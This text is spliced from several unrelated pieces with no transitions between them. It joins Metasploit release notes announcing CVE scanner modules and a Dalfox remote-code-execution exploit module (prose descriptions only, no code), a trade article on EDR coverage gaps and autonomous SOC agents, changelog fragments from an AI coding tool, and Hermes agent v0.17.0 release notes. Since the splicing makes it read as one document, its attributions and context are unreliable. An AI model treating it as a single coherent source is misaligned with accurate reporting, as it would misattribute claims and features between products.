New module content and improvements have also been added this week. This includes a Next.js Middleware Authorization Bypass scanner, LiteLLM Proxy SQL Injection, an unauthenticated API authentication bypass scanner for Audiobookshelf, a deserialization RCE in Dalfox, and improvements to service and host reporting in bruteforce-related modules.

New module content (4)

Audiobookshelf Unauthenticated API Authentication Bypass Scanner

Authors: Kenneth LaCroix and swiftbird07

Type: Auxiliary

Pull request: #21565 contributed by kenlacroix

Path: scanner/http/audiobookshelf_auth_bypass

AttackerKB reference: CVE-2025-25205

Description: Adds audiobookshelf_auth_bypass, a detection module for CVE-2025-25205 — an unauthenticated API authentication bypass in Audiobookshelf (self-hosted audiobook/podcast server), affecting versions 2.17.0 – 2.19.0 (fixed in 2.19.1).

BerriAI LiteLLM Proxy Pre-Auth SQL Injection Scanner

Authors: Kenneth LaCroix and Tencent YunDing Security Lab

Type: Auxiliary

Pull request: #21567 contributed by kenlacroix

Path: scanner/http/litellm_proxy_sqli

AttackerKB reference: CVE-2026-42208

Description: Adds auxiliary/scanner/http/litellm_proxy_sqli, a detection module for CVE-2026-42208 (CVSS 9.3, on the CISA KEV list) — a pre-authentication SQL injection in BerriAI LiteLLM proxy.

Next.js Middleware Authorization Bypass Scanner

Authors: Kenneth LaCroix, Rachid Allam, and Yasser Allam

Type: Auxiliary

Pull request: #21566 contributed by kenlacroix

Path: scanner/http/nextjs_middleware_auth_bypass

AttackerKB reference: CVE-2025-29927

Description: Adds nextjs_middleware_auth_bypass, a detection module for CVE-2025-29927 (CVSS 9.1) — an authorization bypass in self-hosted Next.js applications.

Dalfox Found-Action Deserialization RCE

Authors: Emmanuel David and Takahiro Yokoyama

Type: Exploit

Pull request: #21493 contributed by Takahiro-Yoko

Path: linux/http/dalfox_server_rce_cve_2026_45087

AttackerKB reference: CVE-2026-45087

Description: This adds an exploit module for Dalfox Server versions <= 2.12.0 which are vulnerable to an unauthenticated RCE tracked as CVE-2026-45087. The vulnerability allows attackers to send arbitrary commands via found-action post parameter which gets deserialized and run in the context of the user running the server.

Enhancements and features (2)

• #21396 from g0tmi1k - This makes improvements to the auth_brute mixin. It adds report_host and report_service calls to the mixin and removes duplicate printing of IP:PORT in the print_brute statements.
• #21562 from zeroSteiner - Updated the usage of rex-socket's recvfrom method to align with the standard library implementation. This also allows rex-socket to now be used as a drop-in replacement for Ruby's UDPSocket.

Documentation

You can find the latest Metasploit documentation on our docsite at docs.metasploit.com.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate and you can get more details on the changes since the last blog post from GitHub:

• Pull Requests 6.4.140...6.4.141
• Full diff 6.4.140...6.4.141

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest. To install fresh without using git, you can use the open-source-only Nightly Installers or the commercial edition Metasploit Pro

If a device has no agent, no management console shows it. If a CMDB record is stale, no reconciliation flags it. An employee who installed Claude Enterprise outside procurement created a SaaS workspace, identity surface, and API-token footprint that endpoint telemetry alone will not reliably inventory. The coverage percentage on the EDR dashboard is structurally incomplete because the reporting mechanism cannot see what it does not cover.

That gap matters more now than it did six months ago. SOC and XDR vendors are pushing more autonomous investigation and remediation into production. Those agents will query the same dashboards, trust the same coverage percentages, and act on the same blind spots human analysts learned to work around. A human analyst second-guesses a 98% coverage number. An autonomous agent treats it as ground truth and moves at machine speed.

Three independent signals converged on the same gap

Gravitee’s 2026 survey of 900-plus executives found 88% reported confirmed or suspected AI-related incidents, and only 14.4% sent agents live with full security approval. The Axonius/Ponemon report found 52% of respondents would let autonomous agents act on recommendations — while 63% said the underlying data lacks important information. The CSA's Agentic Trust Framework requires verified data governance before agents act on any finding.

Mike Riemer, Field CISO at Ivanti, said that known vulnerabilities on Azure’s honeypot networks are now attacked in under 90 seconds. “Traditional security measures continue to work,” Riemer told VentureBeat.

The caveat is that those measures only protect what they can see. An EDR agent deployed across 87.3% of the device inventory leaves the remaining 12.7% outside that agent’s telemetry, policy enforcement, and detection logic.

Exclusive deployment data quantifies the scale

Joe Diamond, CEO of Axonius, told VentureBeat that the average CISO sees roughly 50% of what is actually on the network. “Say 50% of their environment is sitting in dark matter,” Diamond said. “They don’t know what it is, or where it is, or who has access to it, if it’s secure, if it’s not secure.”

Deployment data from more than 900 Axonius customers confirms those numbers. TransUnion went from 70% to 99% endpoint coverage after out-of-band verification. Western Union went from 85% to 99% by consolidating data from 38 tools and cutting manual workload by half. Lumen discovered 1.1 million assets, where the CMDB showed 17,000. That translates to roughly 37,000 unmanaged endpoints per organization sitting outside every policy, every patch cycle, and every detection rule.

Diamond pointed to Mythos, Anthropic’s frontier reasoning model, as a sign that machine-speed offensive capability will make any unknown asset far riskier than it is today. “People tend to have shiny object syndrome,” he said. “If you didn’t understand what 50% of your environment looked like from a traditional endpoint perspective, and you think you’re going to wind sprint to granular control and governance of AI, your program will fail.” Diamond called the broader AI shift “as big, if not bigger than the internet.”

Three approaches compete to close the gap

No single architecture solves the visibility problem today. Three approaches compete, each with named tradeoffs security teams should evaluate before procurement.

A dedicated integration layer uses bidirectional API adapters to build an always-current inventory. Axonius runs 1,400-plus adapters and now discovers shadow Claude Enterprise installations via its Anthropic adapter (GA June 15). “We created a bidirectional API integration with all the IT systems and all the security controls to build an always up-to-date inventory of what the environment looks like,” Diamond told VentureBeat.

Platform-native EDR and XDR intelligence builds richer asset context inside the agent footprint. Depth within the agent footprint is the advantage. The limitation is structural. Platform-native intelligence is bounded by what the agent can see, and the gap the Ponemon report identified lives precisely where that visibility ends.

CMDB modernization requires continuous reconciliation against three or more independent telemetry sources. Only 13% of organizations reconcile daily, according to Axonius/Ponemon data. The remaining 87% operate on stale records that feed incorrect prioritization into any automated remediation pipeline.

EDR data readiness: Five gates before autonomous remediation

Before you let autonomous SOC agents close tickets or quarantine assets, this checklist tells you whether your EDR and asset data is solid enough to trust. It is vendor-agnostic, works with any EDR and CMDB, and gives you five pass/fail gates you can run in a single working session.

Five questions to ask before allowing autonomous SOC action

1. What independently verifies endpoint-agent coverage outside the EDR console?

2. How does the SOC reconcile conflicts between EDR, CMDB, cloud inventory, IdP, and discovery tools?

3. Can AI agents act on assets with unknown or disputed ownership?

4. Can the system distinguish “not vulnerable” from “not visible”?

5. What data-quality gate blocks autonomous remediation when coverage or ownership falls below threshold?

Board-ready risk framing

Kayne McGladrey, IEEE Senior Member, has confirmed the pattern across multiple published VentureBeat interviews. The structural gap in self-reported coverage is not new. What is new is that autonomous agents will act on it at machine speed without the institutional workarounds human analysts developed over years of experience. Diamond put the board-level stakes plainly in an April 2026 press statement: “Findings pile up because the data isn’t trusted, ownership isn’t clear, and entire asset classes aren’t even in the picture.”

The CSA’s Agentic Trust Framework requires that any agent promoted to a higher autonomy level must pass five gates, including demonstrated accuracy and a security audit. The EU AI Act’s Article 50 transparency obligations take effect August 2, 2026. The May 2026 Digital Omnibus pushed high-risk system obligations to December 2027, but organizations deploying agentic SOC agents on incomplete asset data face immediate operational risk that outpaces any regulatory timeline.

The board-ready sentence: Our EDR coverage reports are structurally incomplete because an endpoint agent cannot report its own absence, and we are verifying coverage through out-of-band discovery before deploying autonomous agents that would act on those reports at machine speed.

Security director playbook

1. Run out-of-band asset discovery this week. Compare results against your CMDB export and EDR console count. If the delta exceeds 10%, halt automated remediation scoping until the gap is reconciled.

2. Deploy SaaS discovery for AI services. Employees install AI ahead of procurement, ahead of security. Weekly scans are the minimum. Route any unmanaged high-risk instance to your incident response queue for triage before exception review.

3. Map asset ownership to remediation responsibility. Ponemon found only 32% of organizations apply tags consistently. If three systems show three different owners for the same asset, automated remediation has no routing target. Fix the ownership layer before deploying agents that depend on it.

4. Kill self-reported-only coverage metrics. Any risk calculation or board report that relies on EDR console-reported coverage alone is built on data the reporting system cannot verify. Require out-of-band verification for every coverage number that informs a risk decision.

Improvements

• Added MCP server instructions to session context. (@Arcadi4)
• Added Opencode-managed provider integration support.
• Added MCP resource template listing.
• Added MCP resource read tools.
• Added a --mini CLI mode.

Bugfixes

• Hid MCP resource template tools when access is denied.
• Prevented MCP resource tools from colliding when servers expose the same keys.
• Emitted skill base directories as filesystem paths instead of file:// URLs. (@shyuan)
• Restored legacy MCP tool names for existing integrations.
• Restored v1 account config loading.
• Bound MCP OAuth callbacks to IPv4 loopback for better local auth reliability. (@he-yufeng)
• Preserved structured error details in surfaced failures.
• Fixed snapshots from subdirectories so they only include the right files and paths.
• Fixed ACP resource text sourcing on Windows and other cross-platform path cases.
• Preserved file source paths in ACP resource text.
• Waited for plugins before loading reference-backed config and system context.
• Hid gpt-5.5-pro when using Codex OAuth.

TUI

Improvements

• Added a configurable keybind to open the diff viewer.
• Added diff viewer support for comparing against the main branch.

Bugfixes

• Prevented worker rejections from breaking the TUI process.

Desktop

Improvements

• Kept draft prompt state per tab.
• Added a new session progress indicator. (@arvsrn)
• Added mobile bottom navigation.
• Added collapsible server sections. (@arvsrn)
• Added server-aware session routes to keep same-session navigation separated across servers.

Bugfixes

• Always applied safe-area insets.
• Made session navigation more stable and faster.
• Routed new sessions through tabs correctly.
• Cleared viewed session notifications reliably.
• Scoped drafts created from Home to the right server and project.
• Throttled directory tree loading.
• Persisted drafts and prompt state more reliably.
• Improved iOS PWA shell behavior.
• Refined the mobile session layout.
• Added the server button dropdown. (@arvsrn)
• Restored review line comments.
• Improved the mobile home layout.

SDK

Improvements

• Exposed provider integration IDs in the SDK.

Extensions

Improvements

• Added namespaced plugin hook APIs.
• Added the V2 plugin API for Effect and Promise plugins.

Thank you to 6 community contributors:

• @remorses:
  • feat(llm): add video and audio media support to Gemini protocol (#31889)
• @arvsrn:
  • feat(app): collapsible servers (#33384)
  • fix(app): add server button dropdown (#33358)
  • feat(app): new session progress indicator (#32662)
  • feat(app): update all components to use v2 tokens (#33598)
• @ReStranger:
  • fix: Skip bun version check for nix version (#33166)
• @he-yufeng:
  • fix(mcp): bind oauth callback to IPv4 loopback (#30022)
• @shyuan:
  • fix(skill): emit base directory as filesystem path, not file:// URL (#33580)
• @Arcadi4:
  • feat(mcp): append server instructions to context (#32490)

Verification before merge:

• PR checks green: CI, Web Frontend, CodeQL, GitGuardian, macOS, Windows, ubuntu, version drift, npm wrapper smoke, mobile runtime smoke.
• Open code-scanning alerts for PR #3373: 0 after inspected false-positive dismissals.
• Local gates passed: check-versions, cargo fmt, git diff --check, provider registry check, codewhale-config tests, focused symlink/session tests, and release build.

Release boundary explicitly approved by Hunter on 2026-06-22.

Release Date: June 19, 2026
Since v0.16.0: ~1,475 commits · ~800 merged PRs · 1,693 files changed · 235,390 insertions · 50,730 deletions · 300+ issues closed · 245 community contributors

The Reach Release. v0.16.0 put Hermes on your desktop. v0.17.0 is about how far that reach extends — across new places to talk to it, deeper into the tools you already use, and out to the people running Hermes for a team. Hermes reached two new channels (iMessage via Photon, and the Raft agent network), the desktop app gained substantial new capability, subagents can now run in the background, image generation learned to edit, and Cursor's Composer model is reachable through an xAI Grok subscription. The dashboard got a full profile builder and secure login, the Skills Hub browser was rehauled, the memory tool got a major upgrade, and the curator stopped spending aux-model budget on every routine run. 300+ issues closed ride along, plus a security round.

✨ Highlights

• Hermes reaches iMessage — Photon Spectrum, no Mac relay required — There's now an iMessage platform plugin built on Photon's managed line pool. Run hermes photon login, authenticate with a device code, and Hermes can send and receive iMessage — no Mac sitting in a closet running a relay, no BlueBubbles bridge to babysit. It's positioned as the successor to BlueBubbles: free to start, nothing to self-host. If your friends and family live in the blue bubbles, Hermes lives there now too. (#32348, #42582, #44713 — @teknium1)

• Raft — Hermes joins the Raft agent network as a gateway channel — A new bundled Raft platform adapter lets Hermes connect to Raft as an external agent through a wake-channel bridge. Set RAFT_PROFILE, run the bridge, and Raft can wake Hermes to handle messages — with a privacy-by-contract design where wake payloads carry only metadata (event IDs, timestamps), never message bodies. Another surface where Hermes can show up and do work. (#48210 — @xxchan, @teknium1)

• A substantially more capable desktop app — v0.16.0 shipped the desktop app; v0.17.0 deepened it across dozens of PRs. Rebindable keyboard shortcuts, native OS notifications with per-type toggles, live subagent watch-windows that stream a delegated agent's activity into its own pane, a composer model selector with per-model presets, automatic RTL/bidi text direction, a resizable VS Code-themed terminal pane, per-thread composer drafts, and the ability to install any VS Code Marketplace theme directly into the app. The desktop is now a serious daily driver, not a preview. (#45866, #40660, #47060, #46959, #43292, #44596 — @OutThisLife, @teknium1)

• Background / async subagents — delegate work and keep going — delegate_task(background=true) now dispatches a subagent that runs in the background and returns a handle immediately. You and the model keep working while it churns, and the full result re-enters the conversation as a new turn the moment it finishes. Kick off a long research dive or a multi-step build, then carry on with something else instead of sitting blocked waiting on it. (#40946, #46968 — @teknium1)

• Edit images, not just generate them — image-to-image in image_generate — image_generate can now edit and transform a source image, not only create one from scratch. Pass an existing image and a prompt and it routes to the backend's edit endpoint (same tool, same pattern as video_generate), across every supported image provider. "Make this logo blue," "remove the background," "turn this sketch into a render" — all from the tool you already use. (#48705 — @teknium1)

• Automation Blueprints — schedule things without learning cron — Pick an automation by name and Hermes asks you for what it needs — no cron syntax, no slot=value typing. One blueprint definition renders natively on every surface: a form in the dashboard, a slash command in the CLI/TUI/messenger, a conversation with the agent, an entry in the docs catalog. "Daily news briefing at 8am" becomes a thing you set up by answering questions, not by memorizing 0 8 * * *. (#41309 — @teknium1)

• Cursor's Composer model, through your xAI Grok subscription — grok-composer-2.5-fast is now in the xAI OAuth model picker, with its context window reconciled to the full 200k. Composer is the fast coding model behind Cursor — and if you have an xAI Grok subscription, you can now point Hermes at it directly over OAuth, no separate API key. Your Grok plan, Hermes's agent loop, Composer's coding speed. (#47908, #6f89e17 — @teknium1)

• Full profile builder in the dashboard — Build a complete Hermes profile from the browser — pick its model, choose its skills, attach its MCP servers — without hand-editing config.yaml. The dashboard also unified multi-profile management into one machine-wide view with a global profile switcher, so you manage every profile from a single place. (#39084, #44007 — @teknium1)

• Skills Hub browser rehaul — The dashboard's Skills Hub got a ground-up rework: connected hubs, a Featured section, full skill previews before you install, and a security scan on each skill. Browsing and installing skills from the trusted taps (OpenAI, Anthropic, HuggingFace, NVIDIA) is now a real browsing experience, not a flat list. (#40384, #43398 — @teknium1)

• The memory tool got a major upgrade — atomic batch operations — The memory tool gained an operations array that applies a batch of add/replace/remove edits atomically against the final character budget. The model can free up space and add new entries in a single call — even when an add alone would overflow the budget — collapsing what used to be a fragile multi-turn dance into one reliable operation. Memory updates are now faster and far less likely to fail mid-edit. (#48507 — @teknium1)

• Secure dashboard login — The dashboard's authentication was hardened: every token-required endpoint now correctly returns 401 behind the OAuth gate, websocket auth uses the served dashboard token, and a warning fires when a public_url override is silently rejected. Exposing your dashboard to the network is safer by default. (#42578, #42578 — @benbarclay, @teknium1)

• Official WhatsApp Business Cloud API adapter — Alongside the existing Baileys bridge, Hermes now speaks the official WhatsApp Business Cloud API — Meta's first-party, hosted, no-bridge-process path. Point it at your Business API credentials and Hermes talks WhatsApp through the supported channel, with no QR-scanning bridge process to keep alive. (#44331, #43921 — @jquesnelle, @teknium1)

• Rich text for Telegram — Bot API 10.1 rich messages — Telegram replies now render as proper rich messages via Bot API 10.1: better formatting, cleaner long-message handling, native markup instead of flattened text. It's on by default with an opt-out, so your Telegram conversations look the way they should without any configuration. (#44829, #45584, #45953 — @teknium1)

• Curator cost optimization — no aux-model spend on routine runs — The skill curator now prunes stale skills by default but no longer runs its LLM-powered consolidation pass unless you opt in (curator.consolidate: true or hermes curator run --consolidate). The deterministic inactivity sweep keeps running for free; the opinionated, aux-model-spending "build umbrella skills" fork is now off by default. Routine background curation costs you zero tokens. (#47840 — @teknium1)

🖥️ Hermes Desktop App

New surfaces & UX

• Rebindable keyboard shortcuts panel; native OS notifications with per-type toggles; curated turn-completion cue + dismissable error banners (#40660, #45866, #42480, #47985 — @OutThisLife, @teknium1)
• Live subagent watch-windows — stream a delegated agent's activity into its own pane; composer status stack + editable prompts; open any chat in its own window; new-session-in-compact-window hotkey (#47060, #44630, #43219, #46951 — @OutThisLife, @teknium1)
• Composer model selector + per-model presets + external-provider disconnect; surface every provider/model from hermes model in the GUI; unify provider list to one source; warn when a main-model switch leaves auxiliary tasks pinned elsewhere (#46959, #40563, #49080, #40286 — @teknium1, @OutThisLife)
• Install any VS Code Marketplace theme; assignable themes per profile; window translucency slider; unified overlay design system + BrandMark + onboarding redesign (#43292, #42286, #45086, #40708 — @teknium1, @OutThisLife)
• Resizable VS Code-themed terminal pane + palette polish; auto-detect RTL/bidi text direction in chat; Mac-style session switcher (^Tab / ^1-9); worktree-aware sidebar grouping; hover-reveal collapsed sidebars; messaging source folders in sidebar (#42521, #44596, #43111, #45273, #41670, #41751 — @OutThisLife)
• Arrow-key history + queue editing in composer; expand full command inline from the approval bar; follow-streaming-at-bottom + jump-to-bottom button; first-class cron jobs in the sidebar + dashboard scheduler (#40234, #44864, #45263, #40684 — @OutThisLife, @teknium1)
• Desktop pets — pop-out overlay + notifications (#47938 — @teknium1)
• Full tool-backend config (pickers + per-backend settings) in Settings; run tool-backend post-setup installs from the GUI; uninstall the Chat GUI without removing the agent; Shift+click status-bar zap to toggle YOLO globally; /browser connect on a local gateway (#41232, #40559, #40355, #41666, #47245 — @teknium1, @OutThisLife)
• Japanese + Traditional Chinese language switching (#40114)
• "Restart gateway" action (renamed from "Restart messaging") surfaced in the statusbar + on messaging save/toggle toasts; rendered logs are selectable/copyable (#49094 — @OutThisLife)

Remote-gateway & multi-profile

• Remote media relay — attach images/PDFs and display agent-written images over the network for the first time; remote-gateway file attachments via file.attach (#41336, #42634 — @teknium1)
• Client + backend version buttons + remote-backend update flow; browse remote backend files; route global-remote profile REST calls; recover chat after sleep/wake by revalidating a stale remote backend (#42181, #44326, #47011, #41350 — @OutThisLife, @teknium1)
• Multi-profile fallout cleanup — WS auth + cross-profile session reads; release profile backends before delete; scope session list/model switch/timer per session (#44529, #42613, #41103, #41120, #41182 — @OutThisLife, @teknium1)
• Stream subagent activity into watch windows; keep streaming painting in unfocused secondary chat windows; recover stranded session windows (#47060, #47919, #47655 — @OutThisLife)

📊 Web Dashboard

• Full-featured profile builder (model + skills + MCPs); unify multi-profile management — one machine dashboard + global profile switcher; profile-scoped skills & toolsets; session switcher panel on the Chat tab (#39084, #44007, #43808, #49077 — @teknium1)
• Skills hub browser rehaul — connected hubs, featured, preview + security scan; SKILL.md editor on Skills page + attach-skill selector in cron modals; full per-MCP catalog detail; full tool-backend config in the GUI (#40384, #44231, #48520, #40418 — @teknium1)
• Enable webhooks from the Webhooks page; idempotent hermes dashboard register; auto-restart gateway after Telegram QR onboarding; file browser; change UI font from the theme picker; reasoning-effort picker in the chat sidebar (#44021, #42455, #43424, #43512, #41145, #49141 — @teknium1)

🏗️ Core Agent & Architecture

God-file refactor wave (run_agent.py / cli.py / gateway/run.py)

• cli.py main() 3297 → 954 lines — extracted 28 subcommand parsers into hermes_cli/subcommands/, then promoted 9 closure handlers; 32 slash-command handlers → CLICommandsMixin; 18 model-flow wizard functions → model_setup_flows; agent-construction cluster → CLIAgentSetupMixin (#41798, #41835, #41942, #42174, #42153 — @teknium1)
• gateway/run.py 19157 → 15870 lines — 42 slash-command handlers → GatewaySlashCommandsMixin; authorization cluster → GatewayAuthorizationMixin; kanban watcher loops → GatewayKanbanWatchersMixin (#41886, #42159, #41849 — @teknium1)
• run_agent.py turn loop — extracted prologue into TurnContext, post-loop tail into finalize_turn, consolidated inner-retry-loop recovery flags into TurnRetryState (#41778, #42169, #41828 — @teknium1)

Agent loop, prompt & tools

• memory batch operations — atomic add/replace/remove array against the final char budget, so a single call can free space and add entries (#48507 — @teknium1)
• search_files lossless densification — headroom evaluation report + the one densification improvement worth shipping (fewer tokens per result, same matches) (#47866 — @teknium1)
• Removed the agent-callable send_message tool; coding-context posture across CLI/TUI/desktop/ACP; read_file extracts .ipynb/.docx/.xlsx to text (#47856, #43316, #37082 — @teknium1)
• Context-file handling: configurable truncation limit + warnings; scale context-file cap to model window + point agent at the truncated file (#47251, #47846 — @teknium1)
• Compression: temporal anchoring in compaction summaries; raise compaction trigger to 85% for gpt-5.5 on Codex OAuth (#41102, #40957 — @teknium1)
• Adaptive middleware (consumed by NeMo-Relay observer telemetry); usable mid-turn steer — desktop affordance + trusted injection (#29724, #40240 — @teknium1)

Provider & model support

• New models: z-ai/glm-5.2 (verified 1M context, OpenRouter + Nous), anthropic/claude-fable-5, laguna-m.1 + nemotron-3-ultra, xAI Composer 2.5 in the OAuth picker; default xAI to grok-build-0.1 (#47391, #45695, #42979, #42629, #47908, #47371 — @teknium1)
• Model picker: Refresh-Models control to bust stale cache; persist Nous recommended-models to disk + fall back on Portal failure; seed catalog disk cache from checkout on update; MiniMax-M3 reports true 1M context (#48691, #42628, #42614, #43338 — @teknium1)
• Anthropic adaptive models: default to modern thinking contract; never send reasoning field; route reasoning_effort to verbosity; require confirmation for very expensive selections (#42991, #43012, #43436, #43391 — @teknium1)
• Auth: auto-detect OpenRouter credential from the pool; keep Codex OAuth pool accounts distinct on add/re-auth; resolve xAI OAuth across profiles + write rotated tokens back to root; honor model.default_headers for custom OpenAI-compatible providers (#42263, #42316, #46614, #41096 — @teknium1)
• Bedrock falls back to non-streaming InvokeModel when IAM denies the streaming variant; Ollama default max_tokens=65536; surface model refusals as content_filter (#44293, #41694, #46013 — @teknium1)

Sessions, state & multi-agent

• Optional max session cap; drop empty sessions on CLI exit and rotation; ACP session-provenance metadata for compression rotation (#42389, #43855, #41724 — @teknium1)
• Delegation: resolve custom-endpoint subagent pools by endpoint identity; remove the default subagent wall-clock timeout; stop subagent completion lines leaking into parent CLI display (#41730, #45149, #44223 — @teknium1)
• Kanban: config-gated auto-subscribe on kanban_create; machine-global singleton lock for the embedded dispatcher; pin assigned profile toolsets for workers; hold reclaim while worker still alive (#48635, #49068, #45590, #49064 — @teknium1)
• Memory: configurable Hindsight retain observation scopes; OpenViking setup UX; Honcho gateway-gated identity tree; Supermemory session-level ingest (#46611, #48262, #44431, #38756 — @teknium1, @alt-glitch)

📱 Messaging Platforms (Gateway)

New channels

• iMessage via Photon Spectrum — hermes photon login (device-code OAuth), gRPC-native channel (no webhook), markdown rendering, emoji reactions, outbound media via spectrum-ts (#32348, #42582, #44713, #42397 — @teknium1)
• WhatsApp Business Cloud API adapter (official, no bridge process) (#44331, #43921 — @jquesnelle, @teknium1)
• SimpleX — groups, native attachments, text batching, auto-accept; Raft bundled platform plugin with activity hooks (#42584, #48210 — @teknium1)

Gateway core & rendering

• Render terminal tool calls as native bash code blocks on markdown platforms; bare fenced code blocks in chat; optional message timestamps for LLM context; configurable tool_progress_grouping (#41215, #42576, #47253, #47228 — @teknium1)
• Telegram: Bot API 10.1 rich messages (now always-on with opt-out); opt-in Online/Offline bot status indicator; stop cutting long streamed responses; MarkdownV2 on progress edits; gate oversized voice/audio before download (#44829, #45584, #49134, #43761, #44245 — @teknium1)
• Discord: propagate role_authorized so DISCORD_ALLOWED_ROLES works end-to-end; recover from runtime gateway task exits; cancel _bot_task on connect failure; stop typing after replies (#43327, #44383, #44432, #44836 — @teknium1)
• Slack: scope top-level channel messages when reply_in_thread=false; thread approval UX (block-size overflow + typed-prefix); make video attachments available to agents; register_slack_action_handler plugin API (#41703, #43444, #45512, #44664 — @teknium1)
• Replied-to media attachments included; document attachments classified as DOCUMENT on Signal/Email/SimpleX/Teams; WhatsApp restarts stale bridge processes; Matrix room-context isolation; QQbot CPU-spin fix; Weixin rate-limit circuit breaker (#46107, #44695, #44205, #18505, #40574, #41718 — @teknium1, @banditburai)

🖥️ CLI, TUI & Setup

• /version slash command; /billing interactive terminal billing (TUI + CLI); show time since last final agent response on the status bar; persist resolved approval/clarify prompts in scrollback (#40214, #45449, #44265, #44702 — @teknium1)
• Lock hermes worktrees so concurrent processes can't clobber them; display custom profile alias names in list/show; clone profiles from any source (#48699, #40371, #45630 — @teknium1)
• Opt-in structured profile-build path on first contact; configurable per-platform system-prompt hints; configurable background memory/skill notifications (#41114, #48630, #47226 — @teknium1)
• TUI: interactive Plugins Hub enable/disable overlay; session name in the terminal titlebar; paint approval/clarify/sudo/secret modals directly (not via throttle); wrap long approval commands instead of truncating (#42965, #43188, #41155, #44691 — @teknium1)
• TTS: Gemini persona prompts + audio tags; xAI auto speech tags + speed/streaming knobs; Piper speaker_id; OGG for Telegram auto-TTS (#43442, #49061, #49062, #49060, #41644 — @teknium1)

🔧 Tool System, Skills & MCP

• image-to-image / editing in image_generate across all backends; shrink images to provider dimension limit (#48705, #45979 — @teknium1)
• MCP: official Unreal Engine 5.8 MCP server in the catalog; elicitation handler so MCP servers can prompt for mid-tool-call confirmation (payment/OAuth) on whichever surface owns the session — CLI/TUI/Telegram/Slack; expose late-connecting MCP tools to the agent between turns (cache-safe); keepalive ping for short-TTL HTTP sessions; block exfil-shaped / suspicious stdio configs before probe; capability-gate tools/list so prompt-only servers connect; preserve stdio argv passthrough + Windows env vars (#48397, #49203, #49208, #49221, #46083, #44550, #44324 — @teknium1, @lgalabru)
• Skills: simplify-code skill (parallel 3-agent code review & cleanup) + risk-tiered application with Chesterton's Fence; find & diff user-modified bundled skills; optional payments skills (Stripe Link, MPP, Projects); CLI-based shop skill; live per-source browse progress (#41691, #49070, #48286, #31343, #47309, #43398 — @teknium1, @colinwren-stripe)
• Curator: make skill consolidation opt-in (prune stays default-on) (#47840 — @teknium1)
• Plugins: install from a subdirectory within a repo; accept browser-pasted GitHub URLs in hermes plugins install; session:compress lifecycle event + thread_id/chat_type in agent:start/end context (#42963, #33539, #47252, #41672 — @teknium1)
• Memory/skill write approval gate (default off) — boolean write_approval replaces the tri-state write_mode (#38199, #43354 — @teknium1)

🌐 Fleet, Relay & Automation

• Managed scope — administrator-pinned, user-immutable config & secrets from a root-owned /etc/hermes (#49098 — @teknium1)
• Multiplex all profiles over one gateway process (opt-in) (#48273 — @benbarclay)
• Pluggable CronScheduler + Chronos managed-cron provider (scale-to-zero) (#48275 — @benbarclay)
• Automation Blueprints — parameterized automation templates across every surface (#41309 — @teknium1)
• Gateway-Gateway relay (phases 0-3): relay adapter + capability descriptor, connector⇄gateway channel auth + signed-HTTP inbound + enroll CLI, WS-only inbound, managed-boot self-provision client (#48078, #48147, #48294, #48242 — @teknium1)

🐳 Docker, Nix & Installer

• s6: detect supervisor directly for gateway restart; register profile gateways without auto-starting; persist desired state; clear stale log locks (#46290, #46266, #46292, #46289 — @teknium1)
• Docker: optimize image size (.dockerignore, drop dev deps, split layers); pre-install matrix deps; supervised gateway uses --replace; harden hosted install tree against self-modification (#38749, #42413, #47555, #47490 — @teknium1)
• Nix: cold npm build fixes + auto-fix-lockfiles workflow; hashless npm deps via importNpmLock; refresh npmDepsHash after Electron 40.10.2 pin (#41867, #48883, #48457 — @teknium1)
• Installer: clear unmerged git index before autostash; scope install-method stamp to the code tree (#45515, #48188 — @teknium1)

🔒 Security & Reliability

• Fail closed on own-policy gateway adapters; fail closed for approval-button auth on Slack/Feishu/Discord when no allowlist is set (#45634, #41226 — @teknium1)
• Redact secrets in request debug dumps; withhold host metadata from public status; block exfil-shaped / suspicious MCP stdio configs before probe (#46637, #45642, #46083 — @teknium1)
• Close shell-escape denylist bypass + fail-closed on missing approval module; scrub operator environment before launching cua-driver MCP; sanitize env for cron job-script subprocesses; bound TodoStore content length/count; scan REST cron prompts for parity with the agent tool (#40591, #48423, #49207, #41648, #41335 — @teknium1, @kshitijk4poor)
• Bump urllib3 and PyJWT to clear CVEs; Langfuse redacts base64 data URIs instead of truncating into invalid base64 (#40179, #43322 — @teknium1)

🪟 Windows

• Dashboard /chat tab via ConPTY (win_pty_bridge) + tests; resolve PowerShell host instead of bare powershell for uv install; resolve powershell.exe by absolute path so Desktop install doesn't stall (#42251, #48341, #40927 — @teknium1)
• Repair stale winget registration + refresh/merge PATH; kill hermes before recreating venv to release _bcrypt.pyd lock; read HERMES_HOME from the registry when env is stale; quarantine running hermes.exe during update repair (#44084, #45120, #46772, #40409 — @teknium1)
• JOB-breakaway watcher reliability + status --deep probes; handle Windows PTY stdin + detached WS frames; decode subprocess output as UTF-8; confirm-modal on native Windows (#40909, #41953, #44328, #42419 — @teknium1)

🐛 Notable Bug Fixes

• Percent-encode non-ascii URL components; sanitize : in FTS5 queries so colon searches don't silently return empty (#41430, #40653 — @teknium1)
• Preserve multimodal user content through crash-resilience persist; flatten multimodal content before provider sync; strip MEDIA directives from compressor input (#47907, #44738, #44708 — @teknium1)
• Re-enter retry loop on genuine Nous 429 so the fallback guard runs; scope Nous tags to Nous auxiliary calls; suppress "Credit access paused" notice on free models (#45136, #45801, #43669 — @teknium1)
• Cron: don't strict-scan script-injected output in no-skills jobs; resolve per-job provider "custom" to providers.custom instead of codex; repair cron ownership on container restart (#43223, #43505, #41976 — @teknium1)
• (300+ issues closed this window; full per-area fix list is exhaustive — these are the highest-impact.)

↩️ Reverted in this window (not shipping)

• html-artifact skill + sketch/architecture-diagram/concept-diagrams fold (#48899) — reverted (#49053); absent on main.
• Cron per-job profile support reverted (#43956); a nix patchPhase workaround reverted (#42151).

👥 Contributors

A huge thank-you to everyone who contributed to this release — 245 contributors across commits, co-author trailers, and salvaged PRs.

Core

@teknium1

Top community contributors (by merged PRs)

• @OutThisLife — 92 PRs (desktop app maturity (shortcuts, notifications, watch-windows, themes))
• @kshitijk4poor — 60 PRs (onboarding, model picker, cron env sanitization)
• @xxxigm — 27 PRs (desktop & gateway fixes)
• @benbarclay — 23 PRs (gateway multiplex, Chronos cron, dashboard auth)
• @helix4u — 21 PRs (gateway & installer reliability)
• @austinpickett — 19 PRs (dashboard & desktop UX)
• @alt-glitch — 14 PRs (usage-aware credits, Supermemory)
• @ethernet8023 — 14 PRs (desktop build pipeline & Linux/Windows)
• @liuhao1024 — 5 PRs (session lifecycle fixes)

All contributors (alphabetical)

